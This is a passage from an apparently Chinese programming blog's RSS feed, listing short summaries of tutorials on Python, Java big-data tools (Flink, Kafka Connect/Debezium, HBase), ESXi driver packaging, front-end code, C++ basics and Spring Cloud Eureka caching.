org.apache.flink.util.StringUtils; public class Splitter implements FlatMapFunction&amp;lt;String, Tuple2&amp;lt;String, Integer&amp;gt;&amp;gt; { @Override public void flatMap(String s, Collector&amp;lt;Tuple2&amp;lt;String, Integer&amp;gt;&amp;gt; collector) throws Exception { if(StringUtils.</description>
    </item>
    <item>
      <title>[学习笔记] Python【第034讲：丰富的else语句及简洁的with语句】总结</title>
      <link>https://bchobby.github.io/posts/b1c0c559af71cc6e6edb863608a00297/</link>
      <pubDate>Tue, 01 Sep 2020 01:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1c0c559af71cc6e6edb863608a00297/</guid>
      <description>1、else与while语句搭配&#xA;def showMaxFactor(num): count = num // 2 #判断是素数，只需依次判断当前数num除以1到（num // 2）都不能整除即可 while count &amp;gt; 1: if num % count == 0: #判断是否整除 print(&#39;%d最大的约数是%d&#39; % (num, count)) break #跳出循环后else并不执行 count -= 1 else: #当while循环完全被执行完了，没有给中途跳出（即break）,就会执行else语句 print(&#39;%d是素数！&#39; % num) num = int(input(&#39;请输入一个数：&#39;)) showMaxFactor(num) 运行输出： =============================== RESTART: D:/Program Files/1/34讲/0831_2.py =============================== 请输入一个数：25 25最大的约数是5 &amp;gt;&amp;gt;&amp;gt; =============================== RESTART: D:/Program Files/1/34讲/0831_2.py =============================== 请输入一个数：11 11是素数！ &amp;gt;&amp;gt;&amp;gt; 注：else与for语句搭配同else与while语句搭配一样&#xA;2、else与异常语句搭配&#xA;只要try语句块里没有出现任何异常，就会执行else语句块里的内容&#xA;try: print(int(&#39;abc&#39;)) except ValueError as reason: #如果程序有异常时执行 print(&#39;出错了：&#39; + str(reason)) else: #程序无异常时执行 print(&#39;没有任何异常！&#39;) 运行输出： 出错了：invalid literal for int() with base 10: &#39;abc&#39; try: print(int(&#39;123&#39;)) except ValueError as reason: #如果程序有异常时执行 print(&#39;出错了：&#39; + str(reason)) else: #程序无异常时执行 print(&#39;没有任何异常！&#39;) 运行输出： 123 没有任何异常！ 3、简洁的with语句</description>
    </item>
    <item>
      <title>idea中maven构建plugins报错问题解决记录</title>
      <link>https://bchobby.github.io/posts/cdbcf9d2d7ecb5fe2c033a7df03e4be8/</link>
      <pubDate>Tue, 01 Sep 2020 01:00:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdbcf9d2d7ecb5fe2c033a7df03e4be8/</guid>
      <description>1.问题现象&#xA;从github下载了rocketmq源码后，本地maven构建下载依赖包，由于配置的代理没有及时清理，导致引入jar包失败且idea中maven中的plugins下的clean组件下面始终有红色波浪线，执行clean的时候也报“Failed to read artifact descriptor for org.apache.maven.plugins:maven-clean-plugin:jar:3.0.0”的错误&#xA;2.原因分析&#xA;因为不需要的代理配置没有去掉，导致第一次maven构建失败，但是本地仓库存有构建记录，没有对应的jar，导致后续去掉代理配置之后，依然引入本地仓库失败的构建jar，构建失败&#xA;3.解决方案&#xA;找到对应的存在问题的jar的本地仓库下的路径，把对应的构建失败的半成品jar删除，在idea中重新执行maven的reimport，会重新从远程仓库中拉取jar，问题解决，红色波浪线消失&#xA;4.个人思考&#xA;这个问题很久之前其实遇到并解决过，但是由于没有记录下来，时间过去很久，再次出现，完全没有印象，所以留痕归档还是很重要的，尤其是记忆力下降严重的自己。</description>
    </item>
    <item>
      <title>[学习笔记] Python【第033讲：异常处理】总结</title>
      <link>https://bchobby.github.io/posts/0a2b02148b581dfc16b9a148bcd01ade/</link>
      <pubDate>Mon, 31 Aug 2020 22:57:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a2b02148b581dfc16b9a148bcd01ade/</guid>
      <description>一、try-except语句 try: 检测范围 except Exception[as reason]: 出现异常（Exception）后的处理代码 例1：&#xA;try: f = open(&#39;test.txt&#39;) #该文本不存在 print(f.read()) f.close() except OSError: print(&#39;文件出错啦！&#39;) 运行输出： 文件出错啦！ 例2：&#xA;try: f = open(&#39;test.txt&#39;) #该文档不存在 print(f.read()) f.close() except OSError as reason: print(&#39;文件出错啦!\n出错原因是：&#39; + str(reason)) 运行输出： 文件出错啦! 出错原因是：[Errno 2] No such file or directory: &#39;test.txt&#39; try: sum = 1 + &#39;1&#39; #该语句出错，只打印该错误，不再往下执行了 f = open(&#39;test.txt&#39;) #该文档不存在 print(f.read()) f.close() except OSError as reason: print(&#39;文件出错啦!\n出错原因是：&#39; + str(reason)) except TypeError as reason: print(&#39;类型出错啦!</description>
    </item>
    <item>
      <title>大数据技术之Debezium</title>
      <link>https://bchobby.github.io/posts/65c64a173691864b38b92819c000625c/</link>
      <pubDate>Mon, 31 Aug 2020 19:09:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65c64a173691864b38b92819c000625c/</guid>
      <description>Debezium概述 Debezium是用于捕获变更数据的开源分布式平台。可以响应数据库的所有插入，更新和删除操作。Debezium依赖于kafka上，所以在安装Debezium时需要提前安装好Zookeeper，Kafka，以及Kakfa Connect。&#xA;Kafka Connect Kafka Connect用于在Apache Kafka和其他系统之间可扩展且可靠地数据流传输数据的工具，连接器可以轻松地将大量数据导入或导出。&#xA;Kafka Connect当前支持两种模式，standalone和distributed两种模式。 standalone主要用于入门测试，所以我们来实现distributed模式。 官网地址：https://kafka.apache.org/documentation.html#connect Distributed，分布式模式可以在处理工作中自动平衡，允许动态扩展或缩减，并在活动任务以及配置和偏移量提交数据中提供容错能力。和standalone模式非常类似，最大区别在于启动的类和配置参数，参数决定了Kafka Connect流程如果存储偏移量，如何分配工作，在分布式模式下，Kafka Connect将偏移量，配置和任务状态存储在topic中。建议手动创建topic指定分区数，也可以通过配置文件参数自动创建topic。 参数配置： group.id 默认connect-cluster 集群的唯一名称，不能重名，用于形成connect集群组&#xA;config.storage.topic 用于存储kafka connector和任务配置信息的topic。&#xA;offset.storage.topic 用于存储偏移量的topic。&#xA;status.storage.topic 用于存储状态的topic。&#xA;配置 [root@hadoop101 ~]# cd /opt/module/kafka_2.11-2.4.0/config/ [root@hadoop101 config]# vim connect-distributed.properties bootstrap.servers=hadoop101:9092,hadoop102:9092,hadoop103:9092 group.id=connect-mysql key.converter=org.apache.kafka.connect.json.JsonConverter value.converter=org.apache.kafka.connect.json.JsonConverter key.converter.schemas.enable=true value.converter.schemas.enable=true offset.storage.topic=connect-mysql-offsets offset.storage.replication.factor=2 config.storage.topic=connect-mysql-configs config.storage.replication.factor=2 status.storage.topic=connect-mysql-status status.storage.replication.factor=2 offset.flush.interval.ms=10000 安装Debezium对MySql的支持 （1）创建kafka plugins文件夹&#xA;[root@hadoop101 module]# mkdir -p /usr/local/share/kafka/plugins/ （2）上传debezium-connector-mysql-1.2.0.Final-plugin.tar，并解压&#xA;[root@hadoop101 software]# tar -zxvf debezium-connector-mysql-1.2.0.Final-plugin.tar.gz -C /usr/local/share/kafka/plugins/ （3）修改mysql配置，如果是rpm的方式安装MySql的那么则没有my.cnf文件，则需要修改mysql-default.cnf然后复制到/etc/路径下，如果/etc/路径下有my.cnf则直接修改my.cnf即可。安装mysql参考之前文档&#xA;[root@hadoop101 software]# vim /usr/share/mysql/my-default.cnf [mysqld] server_id=1 log-bin=mysql-bin binlog-format=ROW （4）复制my-default.</description>
    </item>
    <item>
      <title>js动态的给select添加或者删除option选项</title>
      <link>https://bchobby.github.io/posts/cbf0071ab73e17ace15a7390757336fa/</link>
      <pubDate>Mon, 31 Aug 2020 14:35:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbf0071ab73e17ace15a7390757336fa/</guid>
      <description>1.首先select的有id&#xA;eg : id=“engCategoryId”&#xA;&amp;lt;g2:select name=&#34;_M.engType&#34; list=&#34;%{engTypeEnum}&#34; id=&#34;engTypeId&#34; listKey=&#34;name()&#34; listValue=&#34;desc&#34; headerKey=&#34;&#34; headerValue=&#34;请选择&#34; label=&#34;工程类型&#34; onchange=&#34;categoryChange()&#34; requiredLabel=&#34;true&#34; labelSeparator=&#34;：&#34;/&amp;gt;&#x9;&amp;lt;g2:select name=&#34;_M.engCategory&#34; list=&#34;%{engCategoryEnum}&#34; id=&#34;engCategoryId&#34; listKey=&#34;name()&#34; listValue=&#34;desc&#34; headerKey=&#34;&#34; headerValue=&#34;请选择&#34; label=&#34;工程类别&#34; onchange=&#34;categoryChange()&#34; requiredLabel=&#34;true&#34; labelSeparator=&#34;：&#34;/&amp;gt;&#x9;2.需求判断，根据工程类型来来判断工程类型的选择；&#xA;当工程类型选择 园林绿化，那么工程类型为 监理，施工，设计 三个选项&#xA;其他类型为建立和施工两个选项；&#xA;所以这里要用到删除其中一个option 和添加一个option，因为我这里的option的位置是固定的所以直接通过index来删除，再通过判断select的option的个数来进行判断是否要添加《设计》 这个下拉选项， 通过select中的change函数οnchange=“categoryChange()”；还有我这初始化的时候会将工程类型的下拉选项都加载过来；在初始化的时候就要删除，如果工程类型不是园林绿化的话；&#xA;所以我的代码如下实现，在刷新页面全局函数中&#xA;//全局函数 $(function() { categoryChange(); } //更据工程类型来确定工程类别的选项 function categoryChange(){ var engType = $(&#34;#engTypeId&#34;).val(); //园林的有设计其他的没有 if(&#34;YLLH&#34; !=engType){ document.getElementById(&#34;engCategoryId&#34;).options.remove(3); }else{ //工程类别下拉选项 var engCategory = document.getElementById(&#34;engCategoryId&#34;); //判断是否已经有了设计的下拉选项 if(engCategory.options.length==3){ engCategory.options.add(new Option(&#34;设计&#34;,&#34;SJ&#34;)); } } } 总结：</description>
    </item>
    <item>
      <title>ESXI6.7-7.0最新版本如何封装网卡驱动补丁</title>
      <link>https://bchobby.github.io/posts/3c787e1a0b374953494a5c485af2e2ee/</link>
      <pubDate>Mon, 31 Aug 2020 05:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c787e1a0b374953494a5c485af2e2ee/</guid>
      <description>是否在安装esxi6.x的时候遇到过如下报错问题，No Network Adapters，这是因为当前esxi镜像版本中不包含该服务器网卡对应的驱动程序，所以需要我们手工将该网卡型号的驱动添加到esxi的程序中去。&#xA;1、下载esxi对应版本的离线包程序，本例我们以esxi6.7为例。&#xA;https://www.vmware.com/&#xA;我们以6.7为例，&#xA;我们以企业版为例，其他版本用法一致。&#xA;以6.7U3b的版本为例，下载离线包。&#xA;2、下载ESXi-Customizer-PS最新版本。&#xA;https://www.v-front.de/p/esxi-customizer-ps.html#download&#xA;直接点击下载。&#xA;3、下载需要的驱动，本例我们以Realtek8111驱动为例。&#xA;https://vibsdepot.v-front.de/wiki/index.php/List_of_currently_available_ESXi_packages&#xA;下载后在桌面新建一个文件夹，命名随便，但是要用英文命名，我这边就用esxi。&#xA;然后把esxi6.7的离线包名称为：ESXi670-201912001.zip和ESXi-Customizer-PS-v2.6.0.ps1放到esxi的目录中。然后在在esxi里面建一个子文件夹，名称随意，用英文，我这边用pkg。&#xA;准备完毕，下面我们就来添加网卡驱动文件到esxi离线包里面去，并生成esxi安装镜像文件。&#xA;win10搜索框输入powershell,以管理员身份运行&#xA;安装依赖：&#xA;Install-Module -Name VMware.PowerCLI 安装时间较长，大概需要20来分钟。&#xA;调整PowerShell的执行策略来让脚本可以正常运行。默认的执行策略是无法运行这个脚本的。&#xA;Set-ExecutionPolicy Unrestricted 开始打驱动补丁并自动封装为ISO&#xA;cd C:\Users\Administrator\Desktop\esxi&#xA;.\ESXi-Customizer-PS-v2.6.0.ps1 -izip .\ESXi670-201912001.zip -pkgDir C:\Users\Administrator\Desktop\esxi\pkg&#xA;完成后，会在当前目录下生成一个esxi的iso文件。&#xA;ESXi-Customizer-PS-v2.6.0.ps1还有很多其他的用法，可以在&#xA;https://www.v-front.de/p/esxi-customizer-ps.html#download&#xA;找到其他详细用法。</description>
    </item>
    <item>
      <title>Web前端： HTML常用标签及其全称</title>
      <link>https://bchobby.github.io/posts/96375d7fd3e82fe66f90f4e91b3f2737/</link>
      <pubDate>Sun, 30 Aug 2020 16:44:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96375d7fd3e82fe66f90f4e91b3f2737/</guid>
      <description>转载自品略图书馆 http://www.pinlue.com/article/2019/04/0910/118590891739.html&#xA;div 语义：Division（分隔）&#xA;span 语义：Span（范围）&#xA;ol 语义：Ordered List（排序列表）&#xA;ul 语义：Unordered List（不排序列表）&#xA;li 语义：List Item（列表项目）&#xA;dl 语义：Definition List（定义列表）&#xA;dt 语义：Definition Term（定义术语）&#xA;dd 语义：Definition Description（定义描述）&#xA;del 语义：Deleted（删除（的文本））&#xA;ins 语义：Inserted（插入（的文本））&#xA;h1~.h6 语义：Header 1 to Header 6（标题1到标题6）&#xA;p 语义：Paragraph（段落）&#xA;hr 语义：Horizontal Rule（水平尺）&#xA;a 语义：Anchor（锚）&#xA;abbr 语义：Abbreviation（缩写词&#xA;acronym 语义：Acronym（取首字母的缩写词）&#xA;address 语义：Address（地址）&#xA;dfn 语义：Defines a Definition Term（定义定义条目）&#xA;kbd 语义：Keyboard（键盘（文本））&#xA;samp 语义：Sample（示例（文本））&#xA;var 语义：Variable（变量（文本））&#xA;tt 语义：Teletype（打印机（文本））&#xA;code 语义：Code（源代码（文本））&#xA;pre 语义：Preformatted（预定义格式（文本））&#xA;blockquote 语义：Block Quotation（区块引用语）&#xA;cite 语义：Citation（引用）</description>
    </item>
    <item>
      <title>华为USG6000V防火墙的初始密码及修改密码的操作</title>
      <link>https://bchobby.github.io/posts/fc13607506ff2d9675a7f615684996ea/</link>
      <pubDate>Sun, 30 Aug 2020 14:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc13607506ff2d9675a7f615684996ea/</guid>
      <description>华为USG6000V防火墙的初始密码及修改密码的步骤操作</description>
    </item>
    <item>
      <title>PYTHON 安装docx2pdf 实现批量实现word转pdf</title>
      <link>https://bchobby.github.io/posts/6f44ff5e5fde6377d47e8d6e9363eb70/</link>
      <pubDate>Sun, 30 Aug 2020 10:02:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f44ff5e5fde6377d47e8d6e9363eb70/</guid>
      <description>pip install --user -i https://pypi.tuna.tsinghua.edu.cn/simple/ docx2pdf 注意doc2pdf前面为空格&#xA;from docx2pdf import convert&#xA;import os&#xA;director = r&#39;D:\DOC&#39;&#xA;FileList = map(lambda x: director + &#39;\\&#39; + x, os.listdir(&#39;D:\DOC&#39;))&#xA;for file in FileList:&#xA;convert(file, f&#34;{file.split(&#39;.&#39;)[0]}.pdf&#34;)&#xA;运行后，硬盘哗啦哗啦之后就转换成功了</description>
    </item>
    <item>
      <title>C&#43;&#43;基础知识汇总</title>
      <link>https://bchobby.github.io/posts/d563a7646aced8dcb9bd1327484cd853/</link>
      <pubDate>Sun, 30 Aug 2020 09:45:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d563a7646aced8dcb9bd1327484cd853/</guid>
      <description>1. C++语言基础 1.1 变量 声明与定义&#xA;变量定义：用于为变量分配存储空间，还可为变量指定初始值。变量声明：用于向程序表明变量的类型和名字。对变量来说，除非有extern关键字，否则都是变量的定义。在一个程序中，变量只能定义一次，却可以声明多次。&#xA;函数的声明和定义区别比较简单，带有{ }的就是定义，否则就是声明。&#xA;如果局部变量和全局变量重名，局部变量会屏蔽全局变量。要使用全局变量，要在变量名前添加“::”。&#xA;extern关键字&#xA;extern可以置于变量或者函数前，以标示变量或者函数的定义在别的文件中，提示编译器遇到此变量和函数时在其他模块中寻找其定义。&#xA;extern “C”表示接下来的内容按C的规则进行编译。比如C++编译器通过修改所有函数的名字实现函数重载机制，C则是按函数原本的名字进行编译的。&#xA;全局变量和局部变量的存储方式&#xA;全局变量储存在静态数据库，局部变量在堆栈。全局变量在程序开始执行时分配存储区，程序执行完毕释放，在程序执行过程中全局变量始终占据固定的存储单元；局部变量是动态分配存储空间的，在调用变量所在函数时，系统会给函数的局部变量分配存储空间，在函数调用结束时就自动释放这些存储空间。&#xA;一个正数的补码与其原码的形式相同，一个负数的补码是将该数绝对值的二进制按位取反再加1.&#xA;八进制整常数必须以0开头，数码取值为0~7；十六进制整常数是以0x开头的，其数码取值为0~9，a~f;十进制整常数无前缀。&#xA;转义字符是特殊的字符常量，“\”后面接一个或几个字符，整体表示一个转义字符，例如“\n”是一个字符，表示回车。&#xA;数据类型在运算过程中的转换规则&#xA;在整型、实型和字符型数据间进行混合运算时，应从低精度向高精度转换，即将字符型数据先转换成整型，再将整型数据和实型数据转换成双精度类型数据，然后在同类型数据间进行运算。&#xA;无符号类型只能存放不带符号的整数，不能存放负数，当为其赋值为负数时会自动转换为无符号类型数值。&#xA;逗号运算符：先计算左边的操作数，再计算右边的操作数，右边操作数的类型和值作为整个表达式的结果。&#xA;左值与右值&#xA;在 c 中，左值指的是既能够出现在等号左边也能出现在等号右边的变量(或表达式)，一般指表达式结束后依然存在的持久对象。&#xA;右值指的则是只能出现在等号右边的变量(或表达式)。一般指表达式结束就不再存在的临时对象。&#xA;对于基础类型，右值是不可被修改的，也不可被 const, volatile 所修饰；但对于C++中自定义的类型(user-defined types)，右值却允许通过它的成员函数进行修改。&#xA;死循环&#xA;当程序要求反复执行，然后等待中断或外界的变量的发生。如操作系统、WIN32 程序、嵌入式系统软件、多线程程序的线程处理函数等这些都用到死循环。&#xA;1.2 static、const和sizeof static关键字&#xA;（1）全局静态变量&#xA;在全局变量前加上关键字 static， 全局变量就定义成一个全局静态变量.&#xA;存储在静态存储区， 在整个程序运行期间一直存在。&#xA;全局静态变量在声明他的文件之外是不可见的，可以被模块内所有函数访问，但不能被模块外其他函数访问。&#xA;（2）局部静态变量&#xA;在局部变量之前加上关键字 static， 局部变量就成为一个局部静态变量。&#xA;存储在静态存储区&#xA;作用域仍为局部作用域， 当定义它的函数或者语句块结束的时候， 作用域结束。 但是当局部静态变量离开作用域后， 并没有销毁， 而是仍然驻留在内存当中， 只不过我们不能再对它进行访问， 直到该函数再次被调用， 并且值不变；&#xA;（3） 静态函数&#xA;在函数返回类型前加 static， 函数就定义为静态函数。&#xA;函数的定义和声明在默认情况下都是 extern 的， 但静态函数只是在声明他的文件当中可见， 不能被其他文件所用。函数的实现使用 static 修饰， 那么这个函数只可在本 cpp 内使用， 不会同其他 cpp 中的同名函数引起冲突；</description>
    </item>
    <item>
      <title>HBASE-java客户端</title>
      <link>https://bchobby.github.io/posts/9de2979829ea27b3f572d892f7b31143/</link>
      <pubDate>Sat, 29 Aug 2020 00:28:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9de2979829ea27b3f572d892f7b31143/</guid>
      <description>1. 添加依赖pom.xml &amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.zookeeper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;zookeeper&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.6&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-auth&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.12&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;compile&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hbase&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hbase-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-common&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hbase&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hbase-server&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 使用mr程序操作hbase 数据的导入 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hbase&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hbase-mapreduce&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.code.gson&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;gson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.8.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- phoenix 凤凰 用来整合Hbase的工具 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.phoenix&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;phoenix-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.0.0-HBase-2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>pyecharts的学习之旅--柱形图篇2--为标签添加千位符</title>
      <link>https://bchobby.github.io/posts/5d4e19717e71de07dbe41f45e5d94efe/</link>
      <pubDate>Fri, 28 Aug 2020 22:30:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d4e19717e71de07dbe41f45e5d94efe/</guid>
      <description>文章目录 导入模块绘制好图像设置千位分隔符 本篇的柱形图只讲一个内容，那就是：将之前绘制的图形中的数字标签加上千位分隔符（如下两幅图对比）；&#xA;这个真的只能说“会者不难，难者不会“（测试途中陷入了一次死循环。。。）&#xA;可以看到，有了千位分隔符之后数据变得更加清晰。&#xA;接下来就开始吧！&#xA;导入模块 from pyecharts.charts import Bar from pyecharts import options as opts from pyechsrts.commons.utils import JsCode 这次因为是要对标签进行自定义设置，所以需要用到回调函数，所以导入了JsCode，注意js语句只有封装在JsCode里才能使用哦。&#xA;绘制好图像 废话不多说，基础操作，直接上代码，还是一样的数据。&#xA;bar_label_alter = ( Bar() .add_xaxis(type_price[&#34;品种&#34;].tolist()) .add_yaxis(&#34;总价值&#34;, type_price[&#34;总价/采购价&#34;].tolist()) .set_global_opts(title_opts=opts.TitleOpts(title=&#34;酒类价值柱形图&#34;)) ) bar_label_alter.render_notebook() 这些打完就会出现下图：&#xA;设置千位分隔符 这属于是对标签设置，即Labelopts，它在系列设置里，因此需要在原有代码上再进行添加：&#xA;bar_label_alter.set_series_opts( label_opts=opts.LabelOpts( position=&#34;top&#34;, font_size=15, font_family=&#34;Microsoft YaHei&#34;, font_weight=&#34;bold&#34; ) ) 在这里里可以对标签的字体、大小、位置等进行设置，我的标签位置设置为顶端（即默认），字体大小为15，用微软雅黑，并加粗。最后见下图：&#xA;接下来就是本篇重头戏了，我直接在上面代码基础上添加：&#xA;bar_label_alter.set_series_opts( label_opts=opts.LabelOpts( position=&#34;top&#34;, font_size=15, font_family=&#34;Microsoft YaHei&#34;, font_weight=&#34;bold&#34;, formatter=JsCode( &#34;&#34;&#34;function(params){ let num = String(params.data), temp_list = []; for(let i=num.length-1, j=1; i&amp;gt;=0; i--, j++){ temp_list.</description>
    </item>
    <item>
      <title>前端流程图组件库大对比</title>
      <link>https://bchobby.github.io/posts/14719940bef48a07d27c62adfd1549a1/</link>
      <pubDate>Thu, 27 Aug 2020 22:03:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14719940bef48a07d27c62adfd1549a1/</guid>
      <description> 前端流程图组件库 框架对比 框架技术核心是否开源是否使用过背景备注GoJScanvas 和svg核心代码进行了混淆融合系统使用过国外商业公司功能强大，图的种类极多，灵活，商业版本收费jsPlumbsvg分为社区版本(Community)和商用版本(Toolkit)治理系统使用过国外商业公司商业版本收费，社区版本免费但是功能较少topologycanvas开源没有使用过国内人个免费，在做商业版本功能，以后可能会收费antv/g6canvas并且支持svg开源没有使用过蚂蚁金服有一系列的开源组件库，对标应该是百度的echarts，免费.G6-Editor(商业版本暂未开源) </description>
    </item>
    <item>
      <title>SpringCloud常⻅问题及解决方案</title>
      <link>https://bchobby.github.io/posts/bdd3cc6972d03d9b02b4e2389d8edce1/</link>
      <pubDate>Thu, 27 Aug 2020 21:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdd3cc6972d03d9b02b4e2389d8edce1/</guid>
      <description>1. Eureka 服务发现慢问题 如果你刚刚接触Eureka，对Eureka的设计和实现都不是很了解，可能就会遇到一些无法快速解决的问 题，这些问题包括:新服务上线后，服务消费者不能访问到刚上线的新服务，需要过一段时间后才能访 问?或是将服务下线后，服务还是会被调用到，一段时候后才彻底停止服务，访问前期会导致频繁报 错?这些问题还会让你对 Spring Cloud 产生严重的怀疑，这难道不是一个 Bug?&#xA;问题场景： 上线一个新的服务实例，但是服务消费者无感知，过了一段时间才知道 某一个服务实例下线了，服务消费者无感知，仍然向这个服务实例在发起请求&#xA;这其实就是服务发现的一个问题，当我们需要调用服务实例时，信息是从注册中心Eureka获取的，然后 通过Ribbon选择一个服务实例发起调用，如果出现调用不到或者下线后还可以调用的问题，原因肯定是 服务实例的信息更新不及时导致的。&#xA;Eureka 服务发现慢的原因&#xA;Eureka 服务发现慢的原因主要有两个，一部分是因为服务缓存导致的，另一部分是因为客户端缓存导致的。&#xA;服务端缓存 服务注册到注册中心后，服务实例信息是存储在注册表中的，也就是内存中。但Eureka为了提高响应速 度，在内部做了优化，加入了两层的缓存结构，将Client需要的实例信息，直接缓存起来，获取的时候直接从缓存中拿数据然后响应给 Client。 ​ 第一层缓存是readOnlyCacheMap，readOnlyCacheMap是采用ConcurrentHashMap来存储数据的，主要负责定时与readWriteCacheMap进行数据同步，默认同步时间为30秒一次。&#xA;第二层缓存是readWriteCacheMap，readWriteCacheMap采用Guava来实现缓存。缓存过期时间默认 为180秒，当服务下线、过期、注册、状态变更等操作都会清除此缓存中的数据。&#xA;Client获取服务实例数据时，会先从一级缓存中获取，如果一级缓存中不存在，再从二级缓存中获取， 如果二级缓存也不存在，会触发缓存的加载，从存储层拉取数据到缓存中，然后再返回给 Client。&#xA;Eureka 之所以设计二级缓存机制，也是为了提高 Eureka Server 的响应速度，缺点是缓存会导致 Client 获取不到最新的服务实例信息，然后导致无法快速发现新的服务和已下线的服务。&#xA;了解了服务端的实现后，想要解决这个问题就变得很简单了，我们可以缩短只读缓存的更新时间 (eureka.server.response-cache-update-interval-ms)让服务发现变得更加及时，或者直接将只读缓 存关闭(eureka.server.use-read-only-response-cache=false)，多级缓存也导致C层面(数据一致 性)很薄弱。&#xA;Eureka Server 中会有定时任务去检测失效的服务，将服务实例信息从注册表中移除，也可以将这个失 效检测的时间缩短，这样服务下线后就能够及时从注册表中清除。&#xA;客户端缓存 客户端缓存主要分为两块内容，一块是 Eureka Client 缓存，一块是 Ribbon 缓存。&#xA;Eureka Client 缓存&#xA;EurekaClient负责跟EurekaServer进行交互，在EurekaClient中的 com.netflix.discovery.DiscoveryClient.initScheduledTasks() 方法中，初始化了一个 CacheRefreshThread 定时任务专⻔用来拉取 Eureka Server 的实例信息到本地。所以我们需要缩短这个定时拉取服务信息的时间间隔(eureka.client.registryFetchIntervalSeconds) 来快速发现新的服务。&#xA;Ribbon 缓存&#xA;Ribbon会从EurekaClient中获取服务信息，ServerListUpdater是Ribbon中负责服务实例 更新的组件，默认的实现是PollingServerListUpdater，通过线程定时去更新实例信息。定时刷新的时 间间隔默认是30秒，当服务停止或者上线后，这边最快也需要30秒才能将实例信息更新成最新的。我们 可以将这个时间调短一点，比如 3 秒。</description>
    </item>
    <item>
      <title>断路器、隔离开关、接触器、负荷开关比较</title>
      <link>https://bchobby.github.io/posts/a24aea02bbcff37cc57c60b5c4b89804/</link>
      <pubDate>Thu, 27 Aug 2020 17:11:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a24aea02bbcff37cc57c60b5c4b89804/</guid>
      <description>断路器： 有灭弧装置，支持在带电情况下断开；内部结构复杂，过电流保护，短路保护，80KA的断路器价格在一两万。&#xA;隔离开关：无灭弧装置，不支持带电操作，内部结构简单，能够保证在断电后负载与电源隔离。价格便宜&#xA;负荷开关：介于断路器和隔离开关之间，能够在一定电流下带载操作。结构说白了就是熔断器加隔离开关，所支持的拉闸电流由熔断器提供，价格便宜。&#xA;接触器：线圈控制开关，常开或是常闭，需要外加控制电路。</description>
    </item>
    <item>
